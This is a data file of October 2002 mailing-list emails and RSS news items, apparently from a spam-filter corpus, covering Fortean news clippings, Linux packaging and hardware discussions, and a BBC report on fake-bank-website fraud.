http://my.athenet.net/~felinda/WeirdPage.html [Non-text portions of this message have been removed] ------------------------ Yahoo! Groups Sponsor ---------------------~--> Plan to Sell a Home? http://us.click.yahoo.com/J2SnNA/y.lEAA/MVfIAA/7gSolB/TM ---------------------------------------------------------------------~-> To unsubscribe from this group, send an email to: forteana-unsubscribe@egroups.com Your use of Yahoo! Groups is subject to http://docs.yahoo.com/info/terms/",0,1 That Goddess Chick ,zzzzteana@yahoogroups.com,"Mon, 7 Oct 2002 23:11:58 -0500",Re: [zzzzteana] The Cafe Forteana is back online!!!,">That Goddess Chick wrote: >> >> >Thanks Fel. Got no scanner. My photo is in that group of 100 obsessive >> >compulsive clipsters in FT, 1996 or 1997. >> > >> >Terry >> >> Great, and right now all my pre '98s are in Washington state, in a >> cardboard box in a shed in the back of Sydde's garage. Probably mice >> nests by now. :-( Put a scanner on your Christmas list right above >> world peace! >> -- >> >> Fel >> NEW!! Cafe Forteana is back: >>http://www.frogstone.net/Cafe/CafeForteana.html > >Maybe a kind soul with access to that issue and a scanner could scan it and >forward to you. > >Terry > I would appreciate that very much as I won't be getting back to Washington until December. -- Fel NEW!! Cafe Forteana is back: http://www.frogstone.net/Cafe/CafeForteana.html http://www.frogstone.net Weird Page: http://my.athenet.net/~felinda/WeirdPage.html [Non-text portions of this message have been removed] ------------------------ Yahoo! Groups Sponsor ---------------------~--> Sell a Home with Ease! http://us.click.yahoo.com/SrPZMC/kTmEAA/MVfIAA/7gSolB/TM ---------------------------------------------------------------------~-> To unsubscribe from this group, send an email to: forteana-unsubscribe@egroups.com Your use of Yahoo! Groups is subject to http://docs.yahoo.com/info/terms/",0,1 Roi Dayan ,rpm-zzzlist@freshrpms.net,"Tue, 08 Oct 2002 09:30:10 +0200",xine src packge still gives errors,"Hi I try to rebuild xine from src package and I get these errors: . . . . . Finding Provides: /usr/lib/rpm/find-provides Finding Requires: /usr/lib/rpm/find-requires PreReq: rpmlib(PayloadFilesHavePrefix) <= 4.0-1 rpmlib(CompressedFileNames) <= 3.0.4-1 Requires(rpmlib): rpmlib(PayloadFilesHavePrefix) <= 4.0-1 rpmlib(CompressedFileNames) <= 3.0.4-1 Requires: xine-libs = 0.9.13 /bin/sh Obsoletes: xine-devel RPM build errors: user dude does not exist - using root user dude does not exist - using root user dude does not exist - using root user dude does not exist - using root user dude does not exist - using root File not found: /var/tmp/xine-root/usr/bin/aaxine thx, Roi _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 diveintomark ,zzzz@spamassassin.taint.org,"Tue, 08 Oct 2002 08:00:04 -0000",Teach a man to fish,"URL: http://diveintomark.org/archives/2002/10/08.html#teach_a_man_to_fish Date: 2002-10-08T00:22:08-05:00 _Kevin Hemenway_: Finding More Channels[1]. “In simple terms, there are thousands of web sites that are actively providing their news and headlines in a format AmphetaDesk can understand [RSS]. And while AmphetaDesk knows about a good number of these sites, it'd be impossible to hunt down each and every single possibility. So, this page is here to teach you how to fish.” [1] http://www.disobey.com/amphetadesk/finding_more.html",0,1 aaronsw ,zzzz@spamassassin.taint.org,"Tue, 08 Oct 2002 08:00:08 -0000",Iran Pushes UN Intervention Against US,"URL: http://www.aaronsw.com/weblog/000643 Date: 2002-10-07T21:35:22-06:00 Yahoo: The Case for Regime Change[1]. Khatami asked the U.N. to set a deadline for Bush to step down in favor of president-in-exile Al Gore the legitimate winner of the 2000 election, the results of which were subverted through widespread voting irregularities and intimidation. [... This will likely require] a prolonged bombing campaign targeting major U.S. cities and military installations, followed by a ground invasion led by European forces. ""Civilian casualties would likely be substantial,"" said a French military analyst. ""But the American people must be liberated from tyranny."" [...] ""Even before Bush, the American political system was a shambles,"" said Prof. Salvatore Deluna of the University of Madrid. ""Their single-party plutocracy will have to be reshaped into true parliamentary-style democracy. Moreover, the economy will have to be retooled from its current military dictatorship model--in which a third of the federal budget goes to arms, and taxes are paid almost exclusively by the working class--to one in which basic human needs such as education and poverty are addressed. Their infrastructure is a mess; they don't even have a national passenger train system. Fixing a failed state of this size will require many years."" Welcome news. The only way to crush America's fundamentalist tendencies is by showing them who's boss. [1] http://story.news.yahoo.com/news?tmpl=story2&cid=127&u=/020927/7/2bxul.html&printer=1",0,1 boingboing ,zzzz@spamassassin.taint.org,"Tue, 08 Oct 2002 08:00:26 -0000",Man kills self with home booby-traps,"URL: http://boingboing.net/#85537486 Date: Not supplied Steve sez: ""It's tragic when life imitates Wile E. Coyote cartoons. Guy boobytraps his house to get his family if they try to break in, and seemingly is killed himself by his own traps."" Link[1] Discuss[2] (_Thanks, Steve[3]!_) [1] http://story.news.yahoo.com/news?tmpl=story2&cid=573&ncid=757&e=2&u=/nm/20021007/od_nm/boobytraps_dc [2] http://www.quicktopic.com/boing/H/K9nShVkkrRxi [3] http://www.portigal.com",0,1 boingboing ,zzzz@spamassassin.taint.org,"Tue, 08 Oct 2002 08:00:26 -0000",Curried radiation burns,"URL: http://boingboing.net/#85537496 Date: Not supplied Curcumin, the chemical that makes curry yellow, turns out to be a good compound for treating radiation burns resulting from cancer therapy. Link[1] Discuss[2] (_Thanks, Cheryl!_) [1] http://www.alertnet.org/thenews/newsdesk/N07347915 [2] http://www.quicktopic.com/boing/H/THKNJnrnHdDd",0,1 boingboing ,zzzz@spamassassin.taint.org,"Tue, 08 Oct 2002 08:00:28 -0000",1987 copy of Nintendo zine going for $700 on eBay,"URL: http://boingboing.net/#85535421 Date: Not supplied A Nintendo newsletter from 1987 is going for ober $700 on eBay. Link[1] Discuss [2] _(Thanks, Billy Hayes!)_ [1] http://cgi.ebay.com/ws/eBayISAPI.dll?ViewItem&item=1566539449&rd=1 [2] http://www.quicktopic.com/16/H/wUzqZdX42Az",0,1 boingboing ,zzzz@spamassassin.taint.org,"Tue, 08 Oct 2002 08:00:30 -0000",How the other half gives,"URL: http://boingboing.net/#85534328 Date: Not supplied The new Neiman Marcus Christmas catalog is out (in October!), including you-as-an-action-figure ($7,500), a bamboo hut ($15,000) and a leather frisbee ($30). Link[1] Discuss[2] [1] http://www.neimanmarcus.com/store/sitelets/christmasbook2002/fc.htm?navAction=jump&promo=home2 [2] http://www.quicktopic.com/boing/H/sWabFeGyB5u4C",0,1 guardian ,zzzz@spamassassin.taint.org,"Tue, 08 Oct 2002 08:01:04 -0000",Police pay damages to journalist,"URL: http://www.newsisfree.com/click/-2,8655706,215/ Date: 2002-10-08T03:31:00+01:00 BBC reporter Donal MacIntyre wins high profile libel case against police.",0,1 guardian ,zzzz@spamassassin.taint.org,"Tue, 08 Oct 2002 08:01:05 -0000",10 die as Israeli helicopter fires on Palestinian crowd,"URL: http://www.newsisfree.com/click/-2,8655710,215/ Date: 2002-10-08T03:30:56+01:00 *World latest: *Hundreds of Palestinians vent their anger as dozens of Israeli tanks withdrew after a gruelling three-hour raid on the Gaza strip.",0,1 guardian ,zzzz@spamassassin.taint.org,"Tue, 08 Oct 2002 08:01:06 -0000",Dawn raids stoke fires of resentment,"URL: http://www.newsisfree.com/click/-2,8655713,215/ Date: 2002-10-08T03:30:53+01:00 *Afghanistan: *In his final report one year from the beginning of the US campaign *Rory McCarthy* finds mounting anger at the military presence.",0,1 newscientist ,zzzz@spamassassin.taint.org,"Tue, 08 Oct 2002 08:01:21 -0000",New Solar System body revealed,"URL: http://www.newsisfree.com/click/-1,8640496,1440/ Date: Not supplied The largest object found since 1930 is half the size of Pluto, and calls that object's planetary status into question",0,1 newscientist ,zzzz@spamassassin.taint.org,"Tue, 08 Oct 2002 08:01:22 -0000",Man leads machine in chess duel,"URL: http://www.newsisfree.com/click/-1,8643939,1440/ Date: Not supplied World chess champion Vladimir Kramnik takes the lead over the computer Deep Fritz, after the machine makes a peculiar mistake",0,1 newscientist ,zzzz@spamassassin.taint.org,"Tue, 08 Oct 2002 08:01:22 -0000",Human handshake opens data stream,"URL: http://www.newsisfree.com/click/-1,8639021,1440/ Date: Not supplied A new Japanese system allows palmtop computers to swap large amounts of data when their owners shake hands",0,1 newscientist ,zzzz@spamassassin.taint.org,"Tue, 08 Oct 2002 08:01:22 -0000",Geneticists and a tiny worm win Nobel prize,"URL: http://www.newsisfree.com/click/-1,8639022,1440/ Date: Not supplied The medicine prize goes to research that revealed how cell suicide sculpts the body and - when disrupted - causes disease",0,1 Rick Moen ,ilug@linux.ie,"Tue, 8 Oct 2002 03:09:59 -0700",Re: [ILUG] packaging risks and the reputation of linux distributions,"Quoting Brendan Kehoe (brendan@zen.org): > As a workaround, the various distributions could use a GPG singature > to verify correctness of the file. Since the distributor's secret key > is required to create that signature, it would add a pretty > significant step that would have to be taken to make it possible to > replace both a rpm or apt file and its accompanying signature. There are complex problems inherent in attempts to implement this. http://linuxmafia.com/~rick/linux-info/debian-package-signing -- Cheers, My pid is Inigo Montoya. You kill -9 Rick Moen my parent process. Prepare to vi. rick@linuxmafia.com -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Waider ,brendan@zen.org,"Tue, 08 Oct 2002 12:23:34 +0200",Re: [ILUG] packaging risks and the reputation of linux distributions,"Brendan Kehoe wrote: > As a workaround, the various distributions could use a GPG singature to verify > correctness of the file. Since the distributor's secret key is required to > create that signature, it would add a pretty significant step that would have > to be taken to make it possible to replace both a rpm or apt file and its > accompanying signature. Check your local friendly Red Hat installation: [root@localhost up2date]# rpm --checksig zsh-4.0.2-2.src.rpm zsh-4.0.2-2.src.rpm: md5 gpg ok Of course, this is only as useful as, say, the gpg keys distributed with the Kernel tarballs, i.e. if you don't actually bother checking the sig then you are open to abuse. It's entirely possible that rpm can be configured to require good signatures, but I've not read that part of the fine manual just yet. Cheers, Waider. -- waider@waider.ie / Yes, it /is/ very personal of me -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Donncha O Caoimh ,", ","Tue, 8 Oct 2002 11:42:39 +0100",Re: [Webdev] mod_usertrack,"Thanks for the info AJ, I found ""weblog"" at http://awsd.com/scripts/weblog/index.shtml which has some click-path reporting. It's simple, but works. Report generation takes a bit though, even with dns resolution turned off.. Donncha. On Monday 07 October 2002 23:35, AJ McKee wrote: > Donncha, > > I've been using mod_usertrack for a good while now. I use in by default in > every vhost that I set up. I assign a cookie name and set the expiry for > about a year. I have to say it looks ok. A few things to note though. If a _______________________________________________ Webdev mailing list Webdev@linux.ie http://www.linux.ie/mailman/listinfo/webdev",0,1 """Martin Adamson"" ",zzzzteana@yahoogroups.com,"Tue, 8 Oct 2002 12:03:55 +0100",[zzzzteana] Fake bank website cons victims,">>From the BBC website - www.bbc.co.uk Tuesday, 8 October, 2002, 09:43 GMT 10:43 UK Fake bank website cons victims West African criminals have used a fake version of a British bank's online service to milk victims of cash, say police. The fake site was used to squeeze more money out of people they had already hooked. The site has been shut down. But UK National Criminal Intelligence Service, (NCIS), said at least two Canadians had lost more than $100,000 after being taken in by the fake website. The scam behind the fake web domain was the familiar one that offers people a share of the huge sums of money they need moved out of various African nations. NCIS said the use of the web was helping the conmen hook victims that would otherwise spot the scam. Convincing site News of this latest scam was revealed by BBC Radio5Live. It found that an unclaimed web domain of a UK bank had been used by conmen to get more cash out their victims. A NCIS spokesman said the domain looked legitimate because it had ""the"" in front of the bank's name. ""I have seen the microsite myself and it's very sophisticated,"" said the NCIS spokesman. ""It's very convincing especially to people not very experienced online."" Once the con was discovered it was quickly shut down. However, the people behind it have not been caught. NCIS does know that at least two people have lost more than $100,000. The bank involved has bought up the domain used in the con as well as many other permutations of its name to limit the chance it could happen again. Domain games Usually people are first hooked in to what has become known as Advanced Fee or 419 fraud by replying to an unsolicited fax or e-mail offering a share of any cash successfully moved out of Africa. The '419' refers to the part of the Nigerian penal code dealing with such crimes. Like any con, there is no money to be moved at all and instead anyone taking the bait is asked to pay increasingly large sums to supposedly bribe uncooperative officials and to smooth the passage of the cash. Although this con has been practiced for years, people still fall victim to it. NCIS estimates that up to five Americans are sitting in hotel lobbies in London everyday waiting to meet people connected with this con. Cutting edge fraud Often the conmen provide fake banking certificates to give the con an air of legitimacy. People tricked into clicking on fake sites But a spokesman for NCIS said fake or spoof websites are now being used in place of the certificates. ""To many people nowadays the cutting edge of banking technology is web technology,"" said the spokesman. One of the first groups of conmen to use this method set up a fake website that supposedly gave victims access to accounts held at the South African Reserve Bank, the country's national bank. Typically, victims are given a login name and password and are encouraged to visit the site so they can see that the cash they are getting a share of has been deposited in their name. But before they can get their hands on the cash, the victims are typically asked to hand over more of their own money to help the transfer go ahead. Once the South African police discovered the ruse they declared it a national priority crime and soon arrested the 18 people behind it. Modern gloss An briefing paper prepared by NCIS in August on organised crime noted that criminals were increasingly turning to the web to lure new victims and give old cons a modern gloss. The NCIS spokesman urged people who have fallen victim to 419 fraud to come forward and help it track down the perpetrators. He said in the last two months it had arrested 24 people overseas involved with this type of fraud. He said any e-mail, fax or letter making an offer that looks to good too be true, undoubtedly is. One of the first companies to fall victim to website spoofing was net payment service Paypal. Conmen set up a fake site and asked people to visit and re-enter their account and credit card details because Paypal had lost the information. The website link included in the e-mail looked legitimate but in fact directed people to a fake domain that gathered details for the conmen's personal use. ------------------------ Yahoo! Groups Sponsor ---------------------~--> Sell a Home for Top $ http://us.click.yahoo.com/RrPZMC/jTmEAA/MVfIAA/7gSolB/TM ---------------------------------------------------------------------~-> To unsubscribe from this group, send an email to: forteana-unsubscribe@egroups.com Your use of Yahoo! Groups is subject to http://docs.yahoo.com/info/terms/",0,1 """Tim Chapman"" ",zzzzteana ,"Tue, 08 Oct 2002 12:10:07 +0100",[zzzzteana] Uncle Mark seeks parole,"http://news.bbc.co.uk/1/hi/entertainment/showbiz/2308581.stm Tuesday, 8 October, 2002, 07:55 GMT 08:55 UK Lennon killer seeks parole again The man who shot dead former Beatle John Lennon is making another bid for early release from prison - the day before what would have been Lennon's 62nd birthday. Mark David Chapman, 47, was jailed for life after he admitted killing the superstar outside his New York apartment building in 1980. It is the second time in two years that Chapman has sought parole from Attica state prison. At a 2000 hearing, he argued that he was no longer a danger to society and had overcome the psychological problems which led him to shoot the ex-Beatle. Chapman had said that a voice in his head told him to shoot the star. Shot dead Lennon was shot four times as he emerged from a limousine outside his New York City apartment on 8 December 1980. He and his wife Yoko Ono were returning from a late-night recording session during which time they had been working on Walking on Thin Ice. Only hours before the shooting, Chapman - who had come to New York from Hawaii - was photographed with the singer outside the same building as Lennon signed a copy of his album Double Fantasy for him. The killer said Lennon had been just ""a picture on an album cover"" to him before the shooting. 'Deserved death' Chapman has said that he should have received the death penalty for his crime. Lennon's widow told the 2000 parole hearing that she would not feel safe if Chapman were released. Lennon's songwriting partnership with Paul McCartney propelled the Liverpool-based pop group to international stardom and unparalleled commercial success. The Beatles front man, peace campaigner, and all-round iconoclast, would have been 62 on Wednesday. ------------------------ Yahoo! Groups Sponsor ---------------------~--> Plan to Sell a Home? http://us.click.yahoo.com/J2SnNA/y.lEAA/MVfIAA/7gSolB/TM ---------------------------------------------------------------------~-> To unsubscribe from this group, send an email to: forteana-unsubscribe@egroups.com Your use of Yahoo! Groups is subject to http://docs.yahoo.com/info/terms/",0,1 Liam Bedford ,Irish Linux Users Group ,"Tue, 8 Oct 2002 12:12:59 +0100",Re: [ILUG] cheap linux PCs,">I'd normally never buy this but the Xbox is Eur300 on IOL's shop, a very >large company are making a loss on it and: > >http://xbox-linux.sourceforge.net/articles.php?aid=1&sub=Press%20Release%3A%20Xbox%20Linux%20Mandrake%209%20Released > >Mandrake has been released for it. isn't it 250 in Smyths? don't forget to add to that the modchip, and the time to put it on. (/me thinks unless you want 3d graphics, www.mini-itx.com is the way to go :)) L. -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """Tim Chapman"" ",zzzzteana ,"Tue, 08 Oct 2002 12:14:41 +0100",[zzzzteana] Bashing the bishop,"http://www.guardian.co.uk/religion/Story/0,2763,806744,00.html Evangelicals' threat to new archbishop Direct action threat over liberal views on sexuality Stephen Bates, religious affairs correspondent Tuesday October 8, 2002 The Guardian Evangelical fundamentalists last night stepped up their campaign to oust Rowan Williams, the incoming Archbishop of Canterbury, before he even takes up his post, by threatening to take ""direct action"" against him. The council of the Church Society, the Church of England's oldest evangelical body, joined a younger evangelical pressure group called Reform, which is also opposed to Dr Williams, in calling on him to recant his supposedly liberal views on sexuality or stand down. Following an emergency meeting, the 167-year-old society, whose leaders met the archbishop last week, proclaimed their continued opposition to his appointment and called on all Anglicans to spurn him. The move is the latest stage of an increasingly aggressive attempt to destabilise the new archbishop, whose leftwing political views are regarded with deep suspicion by the conservative fringes of the evangelical movement. Some evangelicals object to Dr Williams's acknowledgement that he has ordained a gay priest, something many bishops have done, and that those who have sex outside marriage need not necessarily be spurned. The new archbishop has repeatedly assured them that he respects the canons of the church. Nevertheless, the society said: ""It is clear that he prefers his private judgment to the voice of scripture, to the voice of tradition and to the common mind of the church. As such he can only be a focus of disunity. ""The council... called upon loyal Anglicans to pray specifically that Rowan Williams would see the error in his teaching, change his views or stand down,"" it said. The society claimed to have drawn up an ""action plan,"" including calling on bishops and primates of the 70 million worldwide Anglican communion, of which archbishops of Canterbury are the leaders, to distance themselves from Dr Williams's doctrinal and ethical position. It promised it would be ""taking steps towards appropriate direct action"". It added that Dr Williams remained on the editorial board of a journal called Theology and Sexuality which, six months ago, published articles allegedly commending homosexual behaviour. Despite its claim, the society does not represent the common mind of the church. Dr Williams, currently Archbishop of Wales, was chosen by the crown appointments commission of church members, including evangelicals, and his appointment was endorsed by the prime minister and the Queen. He is due to succeed George Carey, who retires this month, and will be formally enthroned at Canterbury cathedral in February. Asked what form direct action might take, the Rev George Curry, the society's chairman, said: ""Watch this space."" Presumably it could involve a small minority of parishes repudiating the new archbishop and seeking alternative oversight or even demonstrations at services where Dr Williams is present. Church of England bishops, who have hitherto largely kept their heads down during the row, are meeting next week to discuss their response to the evangelical extremists' challenge, which appears to have grown in the absence of a robust rebuttal. A letter by senior theologians in today's Guardian, however, repudiates the evangelicals' tactics, calling them unseemly and contrary to biblical teaching. On the BBC's Thought for the Day yesterday, Angela Tilby, vice-principal of Westcott House, Cambridge, accused Dr Williams's opponents of presumption and blackmail. ""It is in fact a thoroughly aggressive way to behave. It is attempting to force an issue by emotional violence... manipulating to get your way is often preferable to painstaking negotiation,"" she said. Last week, Dr Williams said he was deeply saddened. ""Matters of sexuality should not have the priority or centrality that Reform and the Church Society have tried to give them. The archbishop cannot withdraw his appointment since so many, including evangelicals, have urged him to take the post... the archbishop believes it to be his duty under God."" ------------------------ Yahoo! Groups Sponsor ---------------------~--> Sell a Home with Ease! http://us.click.yahoo.com/SrPZMC/kTmEAA/MVfIAA/7gSolB/TM ---------------------------------------------------------------------~-> To unsubscribe from this group, send an email to: forteana-unsubscribe@egroups.com Your use of Yahoo! Groups is subject to http://docs.yahoo.com/info/terms/",0,1 """Tim Chapman"" ",zzzzteana ,"Tue, 08 Oct 2002 12:15:50 +0100",[zzzzteana] And deliver us from weevil,"http://www.guardian.co.uk/climatechange/story/0,12374,806695,00.html Weevil pest warms to life in south-west London James Meek, science correspondent Tuesday October 8, 2002 The Guardian They're chomping in Chelsea, Fulham and Pimlico, but despite their fancy taste in London addresses they are neither posh nor particularly fussy: they are vine weevils and they want to eat your plants. Two species of vine weevil previously unable to survive Britain's cold winters have been discovered in south-west London, and one has also been detected in Surrey, Cardiff and Edinburgh. ""This is probably the most serious new garden pest in recent memory,"" said Max Barclay, the curator of beetles at the Natural History Museum in London who discovered the creatures in the UK. The black vine weevil has long been native to Britain, causing enormous damage to glossy leaved plants such as laurels. But the two new species, otiorhynchus armadillo and otiorhynchus salicicola, not previously known north of Switzerland, are now prevalent in south London. ""It's very likely these weevils have been introduced to Britain through imported ornamental plants from Italy,"" said Dr Barclay. ""It looks like they're here to stay."" He found otiorhynchus armadillo on the window of a Chelsea department store in 1998, but as the shop sold imported house plants, he assumed it was a migrant. It has now quietly become the most common species of vine weevil in south-west London. The second invader is not so numerous, but has established itself firmly in the same area. Apart from laurels, vine weevils attack bay, viburnum, ornamental ivy, and grape vines. An early sign of trouble is that notches appear in leaves. The soil-dwelling larvae bite the roots off below the surface. One possible explanation for the invaders' successful colonisation of Britain is global warming. Earlier springs and milder winters are already a fact. ------------------------ Yahoo! Groups Sponsor ---------------------~--> Sell a Home with Ease! http://us.click.yahoo.com/SrPZMC/kTmEAA/MVfIAA/7gSolB/TM ---------------------------------------------------------------------~-> To unsubscribe from this group, send an email to: forteana-unsubscribe@egroups.com Your use of Yahoo! Groups is subject to http://docs.yahoo.com/info/terms/",0,1 """Tim Chapman"" ",zzzzteana ,"Tue, 08 Oct 2002 12:17:28 +0100",[zzzzteana] Nobel astrophysicists,"Nobel Honors 3 for Astrophysics Work Tuesday October 8, 2002 12:00 PM STOCKHOLM, Sweden (AP) - Two Americans and a Japanese won the Nobel Prize in physics Tuesday for using some of the most obscure particles and waves in nature to understand the workings of astronomy's grandest wonders. Riccardo Giacconi, 71, of the Associated Universities Inc. in Washington, D.C., will get half of the $1 million prize for his role in ``pioneering contributions to astrophysics, which have led to the discovery of cosmic X-ray sources.'' Raymond Davis, Jr., 87, of the University of Pennsylvania shares the other half of the prize with Japanese scientist Masatoshi Koshiba, 76, of the University of Tokyo. The two men pioneered the construction of giant underground chambers to detect neutrinos, elusive particles that stream from the sun by the billion. Neutrinos offer an unparalleled view of the sun's inner workings because they are produced in its heart by the same process that causes it to shine. In fact, Davis' early experiments, performed during the 1960s in a South Dakota gold mine, confirmed that the sun is powered by nuclear fusion. Koshiba won his share of the prize for his work at the Kamiokande neutrino detector in Japan. That experiment confirmed and extended Davis' work, and also discovered neutrinos coming from distant supernova explosions, some of the brightest objects in the universe. The Italian-born Giacconi, a U.S. citizen, was awarded half of the prize for building the first X-ray telescopes that provided ``completely new - and sharp - images of the universe,'' the academy said. His research laid the foundation for X-ray astronomy, which has led to the discovery of black holes and allowed researchers to peer deep into the hearts of the dusty young galaxies where stars are born. When academy officials reached Giacconi by phone at his home outside Washington, he said he was ``dumbstruck'' to learn of the prize. Koshiba also was phoned at home in Tokyo, but the academy was still trying to reach Davis, spokesman Erling Norrby said. This year's Nobel awards started Monday with the naming of Britons Sydney Brenner, 75, and Sir John E. Sulston, 60, and American H. Robert Horvitz, 55, as winners of the medicine prize, selected by a committee at the Karolinska Institute. The researchers shared it for discoveries about how genes regulate organ growth and a process of programmed cell deaths that shed light on how viruses and bacteria invade human cells, including in conditions such as AIDS, strokes, cancer and heart attacks. The winner of the Nobel Prize in chemistry will be named on Wednesday morning and the Bank of Sweden Prize in Economic Sciences in Memory of Alfred Nobel later the same day. The literature prize winner will be announced on Thursday, the Swedish Academy said on Tuesday. The winner of the coveted peace prize - the only one not awarded in Sweden - will be announced Friday in Oslo, Norway. The award committees make their decisions in deep secrecy and candidates are not publicly revealed for 50 years. Alfred Nobel, the wealthy Swedish industrialist and inventor of dynamite who endowed the prizes left only vague guidelines for the selection committees. In his will he said the prize being revealed on Tuesday should be given to those who ``shall have conferred the greatest benefit on mankind'' and ``shall have made the most important discovery or invention within the field of physics.'' The Royal Swedish Academy of Sciences, which also chooses the chemistry and economics winners, invited nominations from previous recipients and experts in the fields before cutting down its choices. Deliberations are conducted in strict secrecy. The prizes are presented on Dec. 10, the anniversary of Nobel's death in 1896, in Stockholm and in Oslo. --- On the Net: Nobel site, http://www.nobel.se ------------------------ Yahoo! Groups Sponsor ---------------------~--> Plan to Sell a Home? http://us.click.yahoo.com/J2SnNA/y.lEAA/MVfIAA/7gSolB/TM ---------------------------------------------------------------------~-> To unsubscribe from this group, send an email to: forteana-unsubscribe@egroups.com Your use of Yahoo! Groups is subject to http://docs.yahoo.com/info/terms/",0,1 """Tim Chapman"" ",zzzzteana ,"Tue, 08 Oct 2002 12:18:52 +0100",[zzzzteana] Lioness adopts fifth antelope,"http://www.guardian.co.uk/international/story/0,3604,806579,00.html Lioness adopts fifth antelope Rory Carroll, Africa correspondent Tuesday October 8, 2002 The Guardian Kamuniak the dysfunctional lioness has forfeited another meal by adopting her fifth baby oryx this year, an aberration of nature which has baffled wildlife experts. The young lioness in the Samburu national park in northern Kenay adopted her latest baby at the weekend, a wildlife service warden said yesterday. Each time Kamuniak, whose name means ""the blessed one"" in the local Samburu tongue, has tried to protect the antelopes from other predators and allowed the natural mothers to feed them. Unfortunately for her, one oryx ended up in the belly of a male lion while Kamuniak slept; the others were either rescued by wardens or retrieved by their natural mothers. The wardens think the latest adoptee, nicknamed Naisimari (""taken by force""), was adopted at the weekend. ""She must have adopted her on Sunday because they are in harmony,"" said Gabriel Lepariyo, a warden. Naisimari's natural mother has been seen shadowing the odd couple at a distance. Theories to explain the phenonemon abound: not having her own cubs, Kamuniak is lonely; she is colour-blind and short-sighted and thinks the calves are cubs; the oryx were too frail to flee, breaking the classic prey behaviour and confusing the hunter; Kamuniak wants to be a vegetarian; Kamuniak wants to be loved. ------------------------ Yahoo! Groups Sponsor ---------------------~--> Sell a Home with Ease! http://us.click.yahoo.com/SrPZMC/kTmEAA/MVfIAA/7gSolB/TM ---------------------------------------------------------------------~-> To unsubscribe from this group, send an email to: forteana-unsubscribe@egroups.com Your use of Yahoo! Groups is subject to http://docs.yahoo.com/info/terms/",0,1 """Tim Chapman"" ",zzzzteana ,"Tue, 08 Oct 2002 13:28:56 +0100",[zzzzteana] Dracula theme park could be switched to Bucharest,"Ananova: Dracula theme park could be switched to Bucharest A controversial scheme to build a Dracula theme park in Romania could be switched away from Transylvania. Consultants PricewaterhouseCoopers is now recommending that it be built in Bucharest instead. It comes after Prince Charles led international protests against the original proposals to build it in the medieval town of Sigishoara. PricewaterhouseCoopers name Bucharest, originally believed to be an outsider in the race to host the park, as the most profitable location for the project. But that has angered residents in Sigishoara, where Vlad the Impaler, the inspiration for Dracula, was born. They are counting on the park to boost the local economy. Evenimentul Zilei reports that Sigishoara was placed behind the capital with the Black Sea port of Constanta third choice. Dorin Danesan, mayor of Sigishoara, said: ""The pre-feasibility report from PWC shows that the park would attract more tourists if it was located in Bucharest. But I still think that Sigishoara is the best location for it."" The park would include hotels, a Dracula roller coaster, catacombs, a ghost train and a house of horrors, as well as vampire dungeons located around a reconstruction of Dracula's castle and an artificial lake. The project has also been objected to by the world heritage organisation Unesco fearing Sigishoara might be spoilt. PricewaterhouseCoopers is to present its final report on the project on October 15. Story filed: 13:16 Tuesday 8th October 2002 ------------------------ Yahoo! Groups Sponsor ---------------------~--> Plan to Sell a Home? http://us.click.yahoo.com/J2SnNA/y.lEAA/MVfIAA/7gSolB/TM ---------------------------------------------------------------------~-> To unsubscribe from this group, send an email to: forteana-unsubscribe@egroups.com Your use of Yahoo! Groups is subject to http://docs.yahoo.com/info/terms/",0,1 """Tim Chapman"" ",zzzzteana ,"Tue, 08 Oct 2002 13:30:43 +0100",[zzzzteana] Language problems,"Ananova: Newspaper's readers complain over 'let's have sex' picture caption Readers of an African newspaper have complained after a picture caption about jewellery contained the words ""let's have sex"". The mix-up highlights the problems caused by the wide range of languages spoken in Namibia. Callers to the Namibian were angered by the use of the word tulumweni, which translates roughly as ""let's have intercourse"" in the Oshiwambo language. It was used in a caption concerning people in the Caprivi who use rings from the femidon - female condom - as jewellery. According to the The Namibian , an activist involved in care for Aids/HIV patients spelt the word tulumweni for the journalist. He intended it to mean ""you will see for yourselves"" in the Siyeyi tongue. One caller said the complainants ""should be considerate of other people's languages. It is very clear that the picture was taken in the Caprivi ...And that the word is from Siyeyi. It is not Oshiwambo"". Others indicated that various words might have different meanings in various Namibian languages, such as omakende, an Oshiwambo word for glasses which in Siyeyi means testicles. Another word with a double-meaning is tulikunde, which in Oshiwambo translates as let's talk, but which in Sisubiya translates as let's have intercourse. The Herero word for a hat is ekoli, which is an Oshiwambo word for a vagina. Story filed: 12:37 Tuesday 8th October 2002 ------------------------ Yahoo! Groups Sponsor ---------------------~--> 4 DVDs Free +s&p Join Now http://us.click.yahoo.com/pt6YBB/NXiEAA/MVfIAA/7gSolB/TM ---------------------------------------------------------------------~-> To unsubscribe from this group, send an email to: forteana-unsubscribe@egroups.com Your use of Yahoo! Groups is subject to http://docs.yahoo.com/info/terms/",0,1 """Tim Chapman"" ",zzzzteana ,"Tue, 08 Oct 2002 13:32:45 +0100",[zzzzteana] Astro bits,"HUBBLE SPOTS AN ICY WORLD FAR BEYOND PLUTO ------------------------------------------ Astronomers have discovered a distant body that appears to be the largest object in the Kuiper Belt, a body half the size of Pluto that raises new questions about the definition of a planet. The icy world 2002 LM60 has been dubbed ""Quaoar"". http://spaceflightnow.com/news/n0210/07quaoar/ ASTRONOMERS SLICE AND DICE GALAXIES ----------------------------------- New views of star birth and the heart of a spiral galaxy have been seen by a state-of-the-art astronomical instrument on its first night. The new spectrometer has a revolutionary ability to 'slice' any object in the sky into sections, producing a three dimensional view of the conditions throughout entire galaxies in a single observation. http://spaceflightnow.com/news/n0210/08galaxies/ ------------------------ Yahoo! Groups Sponsor ---------------------~--> Sell a Home with Ease! http://us.click.yahoo.com/SrPZMC/kTmEAA/MVfIAA/7gSolB/TM ---------------------------------------------------------------------~-> To unsubscribe from this group, send an email to: forteana-unsubscribe@egroups.com Your use of Yahoo! Groups is subject to http://docs.yahoo.com/info/terms/",0,1 """Breathnach, Proinnsias (Dublin)"" ","""Irish Linux Users Group"" ","Tue, 8 Oct 2002 14:00:48 +0100",RE: [ILUG] cheap linux PCs,"Actually, I'd be more inclined to look into: http://www.theregister.co.uk/content/54/27489.html Avoiding giving any cash to a certain corporation P > -----Original Message----- > >I'd normally never buy this but the Xbox is Eur300 on IOL's shop, a very > 